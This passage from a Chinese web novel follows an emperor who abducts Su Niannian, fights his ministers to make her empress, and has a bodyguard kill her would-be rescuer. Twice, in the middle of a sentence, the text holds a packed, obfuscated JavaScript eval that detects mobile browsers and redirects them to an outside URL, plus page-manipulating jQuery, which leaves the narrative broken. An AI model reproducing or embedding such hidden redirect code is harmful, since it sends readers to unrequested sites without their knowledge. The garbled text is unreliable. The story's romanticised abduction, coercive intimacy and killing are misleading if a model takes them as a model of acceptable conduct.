那里就像是藏着她灵魂的入口一样,没一会儿就被他吸走了魂魄。苏娘子不知道什么就倒在了皇帝的怀里,手指头绞着他的墨发,柔弱的喘息,呼出炽热的呼吸。 若不是她病了,发着热,皇帝一定以为她情动了。 “怎么,现在知道怕?你敢扯朕的头,朕就亲你,亲到朕忍不住就…..” “你…..混蛋呜…..” 苏娘子倏的就掉了眼泪,两个人适才一阵拉扯。她的衣服也乱了,薄薄单衣扯开了,露出一抹粉色的布头,小心翼翼的兜着盈盈春色。 皇帝瞥见,不由自主紧张了呼吸,动了动喉结。他不得不承认,是自己先情动了。 “念念,朕喜欢你。真的真的喜欢你,朕亲一下,你不要咬朕好不好?” 皇帝声音都沙哑了,眼睛目不转睛的盯着那抹粉色小布头。苏娘子巡着他的目光看着,扬起巴掌啪的甩在皇帝的脸上。 “流氓,畜生!我爹爹不会放过你的,我哥哥是天下兵马大元帅,他也不会放过你的!” “朕…..朕不是那个意思,朕就是想亲一下你的嘴巴,不是…..那里。”皇帝脸色窘迫,耳珠涨得比苏娘子还要红。 这次她落下来的巴掌,他没有躲开,轻轻的挨了一巴掌,力度不大像是柔软的猫爪抚在脸上一样。他抓了她的手,她在又烫又抖。 皇帝知道她害怕了,害怕自己会对她做那样的事,害怕无力反抗。他用脸颊蹭了蹭苏娘子的手,紧张又温柔道: “好,朕不亲你,朕吓你的。朕…..朕知道你怕。自己好好把药吃了,朕先走了。” 他连药也不喂了转身就走了,脚步和呼吸都有些错乱。 苏娘子没注意到皇帝,他一离开呼吸便顺畅了,可是被舔过的左耳却一直在发热胀血,像是要炸开了,又像是嗡嗡的要聋掉了。 她以为自己就要被烧死了,赶紧捧起床边的药碗大口大口喝起来。害怕的捂耳朵,手指冰凉的涎液烫的发颤。 殿外,皇帝并没走。推开了一条小门缝,偷偷望里看。大福也挨在他身边,好奇的探头。 “万岁爷,您在看什么,苏娘子怎么了,您又被苏娘子揍了吗?” 皇帝不好意的摸摸唇瓣,脑袋还晕乎乎的,“大福,朕亲过她了。” 三福不知道什么时候也摸了过来,打量了一眼蓬头垢面的皇帝,凑着脑袋问道: “爷,您弄成这个样子,就只亲了苏娘子一下?” “不然呢,你以为!时辰那么短,够朕干什么?!” 皇帝踹了他一脚,喊大福道:“去给朕弄点药来,朕的脸可不能毁了,叫那小秀才比下去。” —————— 苏娘子变得十分惜命起来,大 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“圣上的意思,是要立苏萤臣小女苏念辞为后?立后乃国家大事非儿戏,祖宗陈法有定制,立后必须由礼部派人在全国各地遴选秀女入京备选,之后才是大婚封后。皇上怎么能把苏家娘子弄进宫来,说封后就封后了。苏家人还以为女儿失踪了,四处寻找。臣奏请圣上先将苏娘子送出宫回家,然后下旨礼部采选秀女选秀。” 皇帝蹙眉,一副天真懵懂样,“那么麻烦,还要重新选秀女吗?采选天下秀女怪事麻烦,劳民伤财的。朕看不用选就苏娘子了,至于典仪嘛,着礼部钦天监挑个日子朕补给皇后就是了。” 这个时候首辅的脸色就越来越难看了,重重的咳了一声。 “圣上胡闹,您是天子,一国之君怎么能学土匪流氓绑架良家女子。此事传出去朝廷的脸还要不要了,上梁不正下梁歪,圣上是天下臣民的君父,若有人以此效仿成了风气如何是好?圣上喜欢苏娘子,想要娶她立后,照祖宗陈法办,父母之命,媒妁之言不能弃。圣上是天子不是土匪,不是抢回宫就算自己的了。现下苏娘子必须送回家,苏家四处在找她。” 皇帝灰溜溜的瘫回御椅上,耷拉着脑袋绞小指头,蔫蔫的咕哝。 “呃……可是朕已经把生米煮成熟饭了,送不回苏家了。照祖宗陈法还选秀女,万一那个时候她肚子大起来怎么办?” “……你,胡闹胡闹!” 首辅蹭的站起来,险些指着皇帝破口大骂,次辅高玺看见赶紧伸手拉。 “阁老阁老……冷静,冷静点。圣上还年轻,小孩子心性罢。” 首辅低声呲牙,“这小兔崽子都十七了,苏萤臣教出来的都是什么货色!” 皇帝看他们拉扯私语,自顾缩椅子里盘腿坐起来,沾碗里的茶水玩。 两个人嘀嘀咕咕的说话完,皇帝抬起一张无辜天真的脸,目光真挚纯洁。 “朕就喜欢苏娘子,想立她为后,想和她生孩子。” 几个阁老老脸一红,“圣上以为自己是什么财主恶霸吗?” 5. 第 5 章 四福差使手底下的小太监出宫打探消息,看见热心肠的礼部尚书郭书坐着轿子上苏家了。 五福在巷子外拦住给苏家送野山鸡的老汉,使了两个银子老汉乐得轻松揣着银子美滋滋的回家了,他就提着鸡笼从后门混进苏府。 苏家住主事的苏萤臣、苏大郎、苏二郎都不在,京城就一个考不上举人的三郎在家。苏老夫人得知女儿失踪就病倒了,三郎不敢再往跟前递消息,跑到花园凉亭里和郭尚书说话。 五福往假山洞里一钻,把两人说话声听的清清楚楚。 “大人此话当真,我妹妹真的被皇上掳进宫里了?”三郎神色紧张,不自觉压低了声音,谨慎的左右打量,掩唇道:“这事可不能乱说!” 郭书探身贴近来,低声道:“三郎,千真万确。圣上亲口在几位阁老面前承认的,皇上还说要立苏娘子为后,今早在宫里同几位阁老吵开了。” 苏三郎不可思议,“大人的意思,皇上喜欢我妹妹,非要立她为后?可是我妹妹在四川长大,他没见过我妹妹。” 郭尚书叹气,觉得三郎这傻不愣登的性子,没考上举人是有原因的。 “喜欢又如何,天家无情。皇上想要立苏家娘子为后,不过是制衡之术。你爹爹苏老先生,三朝元老,帝师又兼托孤大臣,朝中门生遍布。你大哥封疆大吏,二哥直吏巡抚,将来你妹妹又是皇后。木秀于林风必摧之行高之人众必非之,你爹爹为官五十载唯恐背上擅权专政之名,不然三郎以为你父亲好好的跑去河南做什么?圣上此举就是将苏家架火架上烤,自古以来外戚权臣有哪个善终的。” “可…..皇上不是汉武帝,我妹妹也不是卫子夫。”三郎抱着茶碗,想不明白。 郭尚书:“三郎糊涂,想保全苏家,保全苏老先生晚节,想救苏娘子,这桩婚事就不能成。眼下皇上行事失礼占不得理,此事有朝中六部九卿斡旋,只要苏家和苏娘子不同意,还尚可有挽回之地。三郎速速修书去河南,请你父亲回来。他是帝师,说话会更有用。” 三郎认真的思考了一番觉得有点道理,跑去书房修书。郭尚书一路看着起笔落款,最后还帮忙润色了几分。信件封好并亲自派人连夜送出京。 郭尚书从苏家出来的时候天色已经晚了,轿子摇摇晃晃的又去了肖府。肖府戒备森严,五福摸不进去,在街口站了一会儿就回大内了。 他们拜把子的兄弟一共有十人,都是宫里最底层,混得最差的小太监抱在一起取暖。 有一天皇帝突然找到他们,花银子请他们办事。起初只是弄点宫外的新鲜玩意解闷,后来事情就多了,大到军国大事民情民意,小到阁臣们的八卦野闻,街头百姓的家长里短。 反正不管是什么,皇帝总爱听个乐呵。后面为了图方便,皇帝给他们挨个改了名,从大福一直到十福,又好叫又好听。 五福回宫,把郭尚书去苏家又跑首辅家的事传给四福。四福再递给敬事房的三福,三福估摸着皇帝批完折子该出来遛弯了。 找着机会就挨上去,跟在皇帝屁股后面,小声道: “爷,郭尚书今日去苏府和首辅大人家了,苏家这会儿写信到河南请苏老先生了。五儿又听说六部九卿要联名上书抗议立后的事,您看现下怎么办?” 皇帝溜了两圈弯,抻抻懒腰,打着哈欠嘟囔道: “怕什么,兵来将挡,水来土掩。光脚的不怕穿鞋的,朕就是这样的皇帝了,他们能耐我何。知道朕为什么让你们大摇大摆的到庄子上抢人吗?” 三福跟在身后摇头:“不明白,照理来说说这是杀头的事,该做的神不知鬼不觉才是。” “有朕给你们当靠山,谁敢摘你们的脑袋。朕做的这事,比的就是谁更不要脸。你等着吧,朕早晚娶到苏娘子立她为后。” 皇帝得意的笑,溜起弯来步伐轻健,不一会儿的功夫就绕着太和殿前的大空地走了三十圈。 身子发了热,也乏了。时候不早了,他突然想起苏娘子来。 “三福,苏娘子今日怎么样了,好些了吗?” “回爷的话,好些了。坤宁宫的安心姑姑说娘子现在可听话了,大口吃药,大口吃饭,现下已经能下地走路了。晚间时还在宫外走了几圈都出汗了,这会儿估摸着是已睡下了。” “行,那咱们去看看她。悄悄的,省得她看见朕又生气,气着自己的身子。” 三福笑眯眯的应是,把太和殿下等待的宫女太监都遣了回去,陪着皇帝两个人往坤宁宫走。 到时殿内空荡荡的,只有一看门的小太监。三福问:“苏娘子人呢,怎么不在宫里。” 小太监恭恭敬敬的磕头,声音有些发抖。 “回皇上,苏娘子上碧波院泡温泉去了,她说病了好几天,泡泡解解乏。您吩咐万事顺着娘子的意,奴婢们就领着她去了。” 皇帝原本轻松闲逸的脸色变得有些凝重,情绪已经凝结在幽深的眸子里,但很快又压了下去。 “今日就罢了,以后不要带娘子去那里。三福,带路去碧波院。” 三福用了声是,走起路来步伐都快了,皇帝也跟着走得脚步生风。但走到了坤宁宫外,皇帝又喊住了他吩咐道: “去把长丰给朕叫来。” 三福会意,小跑着消失在夜色里。皇帝一个人快步赶到碧波院,院外一个人宫女太监都没有,只有暗渠引流的泉水涓涓流淌。 “苏娘子!” 皇帝冲进庭院内,快速搜寻一间一间修得豪华精致的浴池。很快他就听见了房内传出来的咳嗽声,除此并无异常,悄声松了口气。 三福这时也带着长丰赶到了,一个沉默寡言的长花脸侍卫,不苟言笑,像尊活生生的夜叉鬼。 三福轻声道:“爷,长丰侍卫来了。” 皇帝回头,指了指浴房,“自今日起朕要你寸步不离的保护里面那个人,任何人不得靠近她。” 长丰抱着剑点头,皇帝很喜欢他这寡言的性子,不问不听不该知道。 “当然这也是另算银子的。”皇帝从脖子里掏出一块青玉坠子递给他,“这玉很值钱的,够你保护她三年的了。” 三福看见露出一脸的艳羡,上好的和田玉,他给皇帝跑断腿这辈子也挣不到。 长丰还是一副面无表情的样子,接过玉就揣兜里了。 皇帝颇为满意露出赞许之色,三福觉得事情差不多了,识趣的退出浴房,临走的时候还给长丰使眼色了。 他眼睛瞟也不瞟的盯着皇帝,走一步跟一步。直径就跟到了浴池边,只隔着一道纱帐。浴房里水气缭绕,接着朦胧的光还能从帐上隐约看到曼妙的身姿。 皇帝鬼使神差的回头,脸色瞬间大变,险些跳起脚来。 “你在这里干什么,出去!” 长丰目不转睛,目不斜视,跟个木头一样无情道: “属下奉命保护苏娘子,寸步不离。” 皇帝大翻白眼,咬牙切齿,“你个木头,朕在的时候不用!你想偷看她洗澡是不是,小心朕挖了你的眼睛!” “属下没有,是皇上想看想偷看苏娘子洗澡。” 长丰脸上终于有表情了,黝黑的脸颊浮着几丝尴尬掀帘推了出去。 皇帝愤愤不平的嘀嘀咕咕,苏娘子在池边打胰子,曼妙的身姿隐在水汽里若隐若现。落帘响动有些大惊起了她的注意,恰好水汽又拂起了皇帝面前的纱幔。 她一眼就看到他了,捂住身子气得直发抖,“混蛋,你出去,你居然偷看我洗澡!” 皇帝一看见她,尤其是她生气的样子就容易忘记自己的话。掀开帘子索性把人看的全全乎乎,得意起来。 “你都骂朕混蛋了,偷看你洗澡了,朕若不看岂不是白挨你的骂了。” 他不但看,还大大方方的看。浴房水汽潮热,他还把龙袍脱了,一副要共洗鸳鸯浴的样子。 苏娘子又气又恼,血气翻涌,浑身发颤。迎面朝皇帝狠狠的砸过一团胰子,绵密的泡泡带着茉莉香气糊了他满脸。 “王八蛋,你别过来!” 皇帝尴尬的擦脸,等眼睛能睁开,只见苏娘子叫骂声一停跐溜摔进了池子里。 “苏娘子!”皇帝赶紧跳下水捞,“怎么样,有没有磕到碰到。” 苏娘子呛了好几口水,边咳边搂着他破口大骂,“混蛋,你是不是克我!啊……我的脚,好痛……” 皇帝知道,她这是崴脚了。瞧她惨兮兮的可怜模样,又起了逗弄她的心思。 “关朕什么事,澡是你自己要来洗的,水是你自己跳的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“叫朕什么?”皇帝还不满意,勾着她湿润的下巴。 苏娘子忍无可忍,但从头又再忍了一回,咬牙道:“岳凌哥哥,求求你抱念念回去。” 她把这辈子没撒过的娇都撒了,娇声娇气的喊的人都酥了。 皇帝露出满意的笑容,但脸跟翻书一样突然又变了,“不对,好好再想,你叫朕什么。” “……你,耍我!”苏娘子深呼吸,平复了好下翻涌上心口的血气。忍着恶心谄媚的眯起眼,乖巧的蹭着皇帝的手掌,娇声道: “皇上,求求您抱臣妾回宫。” 这次苏娘子一个字都没答错,皇帝满意的抱起她迈着阔步走出碧波院。 长丰不见了,只有三福在外面后着,皇帝喊道:“三福命人掌灯,从碧落院到坤宁宫十步一灯。天太黑,朕怕摔着皇后。” 苏娘子老实躲在龙袍里,贴着皇帝的胸膛只露出半夜脑袋。明明月色很好,如白昼一般。他却要叫人掌灯,一路掌到坤宁宫,十步一灯,甚是招摇。 她有些生气,张嘴狠狠咬了皇帝一口。脑袋上传来他沉重又宠溺的声音。 “皇后干什么,轻点,你咬疼朕了!” 声音不大不小,刚好宫道上两侧的掌灯宫女太监都听到了。苏娘子涨红了,倏的松开牙,梗着脖子连脸都不敢挨在皇帝的胸口上。 这夜,皇帝又宿在坤宁宫了,三福守在殿外狠狠的在敬事房薄子记上了一笔。晚上还能听见皇帝和苏娘子在房里的吵闹声音,皇上脱了衣服给苏娘子看,她在他胸口上咬了一个牙印。 苏娘子躲着不看不认,两个人闹到床上,皇帝突然压低声音喊了她的小名。 “念念,朕想亲你一下,你不要咬朕好不好?” “混蛋,你敢过来我就咬死你!” 三福听见偷偷的笑,一个字一个字的写在薄子上。皇帝像是专门等他一样,落最后一笔,殿内才又传来说话声。 “你不许,那你别怪朕咬你……” 后面苏娘子就没有声音了,三福悄悄推开宫门。看见苏娘子胳膊揽着皇帝的脖子,主动的在亲他,不过几下皇帝就反客为主占了上风,狠狠的把她压在身下。 三福蹲在门外就只能看见皇帝宽厚的背脊,他觉得这次万岁爷肯定又行了。只是照这样子,等不到选秀大婚,苏娘子的肚子肯定会大起来的。 6. 第 6 章 苏娘子的脚伤了,皇帝第二日下早朝后从内务府库房里翻出了一把木质轮椅送到坤宁宫来。 轮椅满旧了的,掉了漆露出里面的杉木,并不是很名贵的木材。 苏娘子惊讶的问:“你怎么还坐过轮椅?” 她只记得皇帝小时候是蠢笨了些,但手脚都全乎,挨揍的时候跑的可快了。 “朕的事你不知道的多着呢。” 皇帝让安心姑姑一起架起苏娘子坐上轮椅,推着她走出坤宁宫,爬上御花园的凉亭。 那里是整个紫禁城地势最高的地方,在凉亭可以俯瞰整个大内。只是一眼望过去,除了红色的宫墙就是一望无际的琉璃瓦,密密麻麻交错的宫道。 苏娘子看见,情绪明显就低落了,不高兴明晃晃的写在了脸上。 皇帝当作没看见她的情绪,在凉亭的石凳坐下,用大福递回来的手帕给她擦额头的薄汗。苏娘子很嫌弃,拍掉了他的手。 “你别碰我,推我回去。” 这次皇帝没再耍赖皮,推着苏娘子溜达了一圈就回坤宁宫了。临走的时候,还附在她耳边低声道: “好好养伤,你总受伤,朕真的会心疼,不骗你。” 他浅浅的笑,琥珀色的眼睛里盛着温柔的光,瞧得苏娘子一晃神。 “你克我,我不想嫁给你,放我出宫。这件事看在我爹爹的面子上,我可以当作没发生过。不然,我爹爹还有哥哥定去刑部、大理寺告你!天子犯法与庶民同罪,到时候全天下人都知道你的无赖行径,你就不怕丢尽你祖宗的脸?” 皇帝失笑,“你都是我的女人了,还想去哪里?朕不会送你出宫,当然你能爬出去,朕也不会拦你。还有朕不怕丢脸,有你陪着朕。” “你……无赖!”苏娘子气得双腮发红,皇帝捏了一把她脸,得意道:“好了,不气你。你不喜欢见朕,朕滚远点。” 皇帝领着大福和几个小太监悠闲的跑出坤宁宫了,这次滚得足够远,也足够久。整整一天,到了戌时坤宁宫都下灯了也没出现。 倒是安心姑姑来乾清宫了,还没进殿就着急忙慌的喊,“皇上,不好了,苏娘子不见了!” 皇帝吓得手里的毛笔都掉了,啪的溅了满袖的黑墨汁,“怎么会不见了,她的腿走不了路,能跑哪里去?” 安心姑姑:“瞧着像是被人掳走了,轮椅都还在宫里。” 好一个以其人之道还治其人之身! 皇帝黑着脸跑到书阁下,垫脚翻出来一个大木箱,大喊三福。 “去叫四福,你们手下有多少人能使唤全都给朕叫来,给朕封住所有宫门禁止出入,一定要找到苏娘子!” 三福赶紧应是,跑出乾清宫对着东南角学了两声杜鹃叫,四福没一会儿就颠颠的跑来了。 “万岁爷,出什么事?” 皇帝倒出白花花的银子,铺在御桌上,“找到苏娘子,这些银子全归你们!” 四福抓了把银子揣怀里,眯眼笑,“这还不简单,万岁爷您等着!” 四福跑出去喊了几个嗓门大的太监,每人塞上一锭碎银子,蹲在宫道上遇见巡逻侍卫就大喊。 “刺客啦!来人有刺客!” “抓刺客,快来人抓刺客呐!” “圣上有旨,封锁宫门任何人禁止进出!” 太监的声音又尖又细,一嚷整个大内瞬间就沸腾起来了,宫道上到处都是举火把的巡逻兵。 苏娘子被吵醒,睁眼一看。她被人背在背上,快速往宣武门奔去,红墙琉璃瓦在节节后退。 “你是什么人,要带我去哪儿?” 背着她的黑衣人闷声道:“娘子别怕,我是你哥哥派来救你的人。” 苏娘子立刻就噤声了,心想不管是不是哥哥的人,先出宫了再说。 黑衣人对大内很熟悉,很轻松的就避开了搜查的巡逻兵,在宫道上一路疾驰几乎是畅通无阻。 苏娘子觉得这下肯定是能出宫了,心下大松了一口气。 可是这件事就这样便宜了皇帝吗?告又告不了他,她想想好是不甘心。早知哥哥要来救自己,该把那厮再痛扁一顿出口恶气好了。 苏娘子琢磨着,黑衣人的脚步缓缓慢了下来。 “怎么了?” 她抬头,只见宫道深处有一道黑影,胸前环抱着剑,如鬼魅一般站在道路最中间。 “那是什么,鬼吗?” 苏娘子一夜就怕鬼,埋头趴到黑衣人肩膀上,紧闭双眼,默默念着诸天神佛护身。 黑衣人突然狂奔起来,苏娘子耳边响起猎猎风声,斗胆睁眼两人几乎是瞬间就到黑影面前。 黑衣人和黑影同时拔剑,闪过一阵电光火花。风声骤停,一股滚热腥臭的鲜血瞬间喷洒到苏娘子的脸上。 她惊恐的瞪大了眼睛,吓傻了。眼前一片猩红,有些懵,不知道脸上的血到底是谁的。 黑影退开,皇帝穿着明黄色的龙袍,就站在宫道上阴森森的,周遭笼罩朦胧缥缈的血雾。 黑衣人撑了一会儿,身子就软了。 “啊!!啊!!” 苏娘子迟钝的尖叫起来,她终于知道脸上的血是谁的了,吓得捂脸疯狂尖叫从黑衣人背上摔下。 黑影的轻功神出鬼没,如闪电一般闪现捞住她的腰肢。一张如鬼魅一般冰冷无神的长脸,落入苏娘子的眼睛里,溅着零星晶莹的血珠子,交错着密密麻麻的伤疤像一张渔网。 “啊!鬼啊!” 苏娘子失声乱叫,皇帝箭步冲上来接过她,还没开口安慰,她白眼一翻就昏厥了过去,不省人事了。 皇帝看见她糊成血花猫的脸,笑道:“平日揍朕那么凶,没想到你还怕鬼啊。” 他抱起苏娘子,与长丰道:“把尸体处理干净,以后谁敢靠近苏娘子就是这个下场,不必来请示朕。” 长丰已经默默的拖起尸体,并不理会他。皇帝回头问道:“像你这样身手的兄弟,你还有几个?” 长丰愣了一下,平静道:“没有了,都死光了。” 他突然又想起一个重要的问题,问:“属下吓到苏娘子了,圣上会扣我的银子吗?” 皇帝觉得他傻的满可爱的,“会,你是暗卫,不要在她面前露脸。吓到她,朕就狠狠的扣你的银子。” 次日,苏娘子醒来,坤宁宫一如往常。她有些恍惚了,好像昨夜做了一个噩梦,又好像记得哥哥派人来救她了。 “姑姑,昨天晚上坤宁宫有些什么异常吗?” 安心姑姑给她梳头,还是按照她的吩咐梳成姑娘的样式,“没有,娘子怎么了?” “没什么…..” 苏娘子还是恍惚,身子并无不适,只是眼睛觉得酸胀刺痛。她凑到铜镜前,双眸布满了红血丝。 “姑姑,我的眼睛怎么了?” 安心姑姑抬眼看了看她通红的眼睛,“可是碰了什么脏东西,娘子用手揉了。奴婢一会儿去帮您取些眼药,擦擦就好了。” 午膳,小宫女递上来漱口茶。苏娘子端起来,杯底压了一张纸条。她立刻把宫里的人全部赶了出去,纸条打开上写着熟悉的字迹。 苏娘子兴冲冲的看,看完只觉得背后突然凉嗖嗖的,似有双眼睛在看自己。 “出来,我知道你是谁了!” 她对着空荡荡的大殿喊,一模一样的声音又传了回来。 “你出来,不要以为所有人都不说,我就不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16562830|186970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道昨天晚上发生什么事了!你们杀了我哥哥的人,你是皇帝派来监视我的人是不是!我记住你的脸了,你出来,你给我出来!” 大殿还是一点动静都没有,苏娘子火气一上来了,抓起桌上的茶杯砸。 “混蛋,你给我出来!你不出来是不是,好!我现在就去找皇帝,说你偷看我换衣服,偷看我洗澡,让你的主子杀了你!” 苏娘子推着轮椅到门口,伸手打开殿门,一道身影站在门外背对着她。 “果然是你,你主子让你监视我到底要干什么?你转过身来,为什么背对着我?” 长丰怀抱佩剑,不转身,面对着宫墙,道:“属下生的丑陋,会吓到娘子。圣上只让属下保护娘子,不做什么。” 苏娘子不管,扯住长丰的胳膊一把拽他回身,他不敢用力和她犟连忙用袖子遮脸。 “不是监视,那你刚才看到什么了?” 长丰挣开苏娘子的手,转回身子背对着她,闭上了眼睛。 “圣上只让属下保护娘子,其他不关属下的事。” “你的意思是,你不会禀告他我哥哥给我写信了?” “……” 一阵短暂的沉默。 苏娘子收起纸条,道:“你走吧,他既只让你保护我,其他的事你就不要多管闲事。” 长丰肩膀动了动,“属下是娘子的暗卫,只会在暗中保护娘子。属下执行任务的时候只用耳朵,所以娘子不必过于忧虑。还有请娘子不要告诉皇上,您看见属下了。” “为什么?” “圣上会扣属下的赏银。” 苏娘子扑哧笑出声,“你那么缺银子?既然你主子花银子请你保护我,那我也可以花银子请你办事吗?” “这……”长丰没想过,“属下问一下圣上。” 苏娘子大翻白眼,“行了,你走吧。” 晚膳的时候,递漱口茶的小宫女又来了。是个面生的小丫头,苏娘子漱完口,把写好的纸条放在茶盘里,用茶碗压住。 小宫女端着茶盘跟着伺候用膳的太监宫女退出坤宁宫,大福在宫道上拦住她,领着到乾清宫。 苏娘子写的纸条就到了皇帝手中,四福挨上前来好奇的问: “爷,苏娘子写什么了?” 皇帝把纸条折回原样,道:“苏娘子写信告诉苏三哥,说朕派了大内高手监视在她身边,救她要另想办法。” 四福:“那现下怎么办,苏家和首辅大人他们站到一边去了是吗?圣上想娶苏娘子立后,可一定要苏家和六部九卿同意才能举行封后大典,不然苏娘子只能藏在宫里见不得光了。” “不好说,现下看来应当是苏三哥被首辅他们忽悠去了,才会写信给苏娘子,要她无论如何都不要相信朕的话,答应嫁给朕。不然凭借苏家应当没有办法把纸条递进朕的大内来,至于苏师父,苏大哥还有苏二哥什么态度,还得再看看。他们回不了京,家书算日子这两日就快到了。” 皇帝悠悠的在御案前转了两圈,招招手示意四福过去,“朕现下没银子了,先给你佘着。你给朕想办法把九门锁起来,以防他们再派人进宫来抢人搞串联。” “没问题,不过爷,您得给奴婢写个手谕。” 皇帝二话不说,大手一挥就写好了手谕,盖上自己的印章。递给四福时候,有些不好意思。 “拿好了,不过朕的手谕只怕还没有你的银子好使。” 四福接过认真的看了好几遍,揣在怀里收好,拍了拍皇帝的肩膀。 “圣上别灰心,总有一日您的圣旨会比内阁的大印有用的,您现在和以前很不一样了。” 皇帝觉得他的话还满受用的,心情特别好。 7. 第 7 章 皇帝掖门一锁,告病假罢早朝了。大臣们都摸不清头脑,从掖门下塞折子请安关心皇帝身体,里面几天只有一张朕躬微恙的纸条。 事情发生的突然,内阁大印锁在大内,通政司攒了好几天的奏疏,快要把人给淹了。阁老们领着文武百官堵在宣武门外骂人,骂得可是凶悍了。 五福几个小太监实在顶不住宦官乱政的骂名,哭丧着脸连去找四福诉苦。四福跑了一趟乾清宫又回来了,贴着门缝给阁老们磕头。 “圣上有旨,各位大人捡着要紧的折子塞进来,小的送到内阁值房盖了大印,再给大人们送回来。” 掖门外的大臣立刻就沸腾起来,议论纷纷。 “不成体统,不成体统!” “圣上真的是越来越不像话了,简直胡闹!” ……. 肖阁老早就压不住火气了,提起官袍冲上前,对着掖门就是狠狠一脚。 “混账东西,这里什么时候轮到你说话了!开门,再不开门老夫拆了你的门!圣上好好的天子,全叫你们这群阉人带坏了!” 四福被震的摔了个屁股蹲,狼狈的爬起来,谄笑着递出一张明黄的手谕。 “阁老,不是奴婢不开。是圣上不许开,开了就要摘了小的脑袋。” “你…..” 看见手谕,掖门外安静了一会儿。四福大松一口气,刚揣好手谕门外突然响起一声怒吼。 “来人,去把五城兵马司指挥使叫来,撬门!把里面那几个阉人抓起来,老夫是老了但还没死,这朝廷还轮不到你们几个阉宦来指点朝政,今日老夫就要替圣上清理门户!” 肖阁老嗓门大,中气十足,咆哮起来跟狮子吼一样,吓得人打哆嗦。他是内阁首辅,说要清理门户,可真的就要杀人的。 四福吓得赶紧让小太监堵好门,连滚带爬跑去乾清宫报信。 “万岁爷,万岁爷,不好了,肖阁老带人拆门杀进来了!怎么办,咱们这次捅大篓子了!” 皇帝听见嚷嚷,一个鲤鱼打挺从软榻上爬起来了,“他们把门拆了?朕不是让你告诉阁老们,朕起了风疹怕过人才锁门,叫他们捡要紧的折子先递进来盖大印吗?” 四福扶着帽子,哭丧着脸道:“奴婢照着您的话说了,这才惹恼了肖阁老。他老家人说奴婢们乱政,要拿了奴婢们呢。圣上您要救奴婢们,奴婢都是按照您的吩咐办事的!” 皇帝深吸一口,佯装冷静的叉腰。 “朕知道了,不要慌。朕是皇帝,是天子。他们都是大臣,不能把朕怎么样!你赶紧去掖门,带小五、小六、小七藏起来,千万不要让他们抓到你们!” “是,万岁爷!” 四福知道,这话就是皇帝还是要管他们的,边抹眼泪边往宣武门跑。 “大福,走,我们去坤宁宫。” 四福一走,皇帝扎起袍角冲出乾清宫,面色凝重。鞋不也穿,急吼吼的跑在宫道了。大福提着鞋子在后面追,边喘大气边喊: “万岁爷,您去坤宁宫干什么?四福他们都躲起来了,奴婢要不要也躲起来?” 皇帝回头,“你不用,怕什么,抢苏娘子的时候你又没去!” 大福才想起来,绑苏娘子的时候他没去,锁掖门也不是他干的,自己慌个什么。 但…..他不想再跟着皇帝干坏事了。 大福赶紧去追皇帝,在坤宁宫前递上龙靴,小声道:“万岁爷您要干什么,奴婢胆子小,不想再帮您做什么不合规矩的事了。” 皇帝愣了一下,随即就明白了,“大福,你是怕出事朕护不住你们是不是?怕朕会翻脸不认人,推你们出去背锅,是不是?” 大福沉默了。 “朕知道了,你怕的话,就去找个地方躲起来。” 皇帝自己进到坤宁宫,抱起还在睡觉的苏娘子就往外走。 安心姑姑莫名其妙,紧张的跟着,“圣上发生什么事了,您要带苏娘子去哪里?” 皇帝撇了她一眼,冷冷道: “姑姑不用管,当作没看到,没听到。朕是个空架子纸糊皇帝,护不了姑姑。” 他明显生气了,抱着苏娘子谁也不理会往往宫道深处跑。 安心姑姑莫名挨一顿呲一头雾水。回过神来的时候,皇帝皇帝已经抱着苏娘子跑进宫道深处了。路越走越偏,越荒凉,停在一处断壁残垣的宫墙外。门头上斜斜的挂着一扇门匾——景阳宫。 苏娘子抬头看了眼,揪着皇帝的衣服,有些不高兴。 “你又发什么疯,带我来这做什么?” 皇帝不理她,径直往废殿里走。大殿深处的角落里立着一个红木柜子,皇帝单手打开柜子,小心翼翼的把苏娘子放进去。 “在这等朕,朕很快就会来接你。” 皇帝关上门,苏娘子抓住他的龙袍,手指有些发抖,“我不要,我要出去!” “听话,就一会儿。朕把那些人忽悠走就来接你,不然他们肯定趁乱掳走你,朕的一切功夫就白费了。” 皇帝掰开苏娘子的手,发觉她的掌心有些湿热,呼吸也有些重了。 “别怕,朕从小就在这里长大。朕把朕的小狗借给你,抱着它你就不害怕了。” 柜子角落里躺着一只灰扑扑的小布狗,他捡起来塞到苏娘子的怀里就走了。 废殿外,长丰抱着剑站在屋檐下。皇帝快步走出来没看他,跑出了景阳宫,但没一会儿又闷头折了回来。 “长丰,朕想要求你一件事,但朕没有银子了。” “……” 废殿内外一阵死了的沉寂。 皇帝望了他一眼,自顾道:“朕想让你去把四福他们救出来,藏好不要让肖阁老的人找到他们。宫里的人走了之后,把苏娘子带回宫,谁来接她都不能放她出宫,苏家的人也不行。” 长丰动了动眸子,只问了一个问题,“可以杀人吗?” “可以。” 长丰抱着剑,面无表情的跟着皇帝离开了。 大内时正是热闹,宫道上到处是锦衣卫抓乱政的太监,六部公卿黑压压的站满了乾清宫内外。 皇帝出现的时候,衣衫不整,蹭了一身龙袍的灰。光着脚也没穿鞋,头发散乱,毫无天子仪态。逮到乱政的太监就被压着跪在墙角,看见他立刻就挣扎起来嚷嚷。 “万岁爷,万岁爷救命啊!” …… “把这些阉宦的嘴堵上,圣上面前岂容得他们咆哮!” 肖阁老厉声道,几个锦衣卫就堵住了四福几个小太监的嘴。他走上前来,对着皇帝恭敬一拜。 “皇上,乱政太监具以逮捕,请皇上下旨处死这一干太监以正视听,肃清内廷!” 皇帝没动,静静地看着四福等人在锦衣卫手下挣扎,眸子里凝结着看不透的思绪。 肖阁老厉声催促,“圣上,宦官乱政后患无穷,请圣上诛奸佞,肃清内廷!” 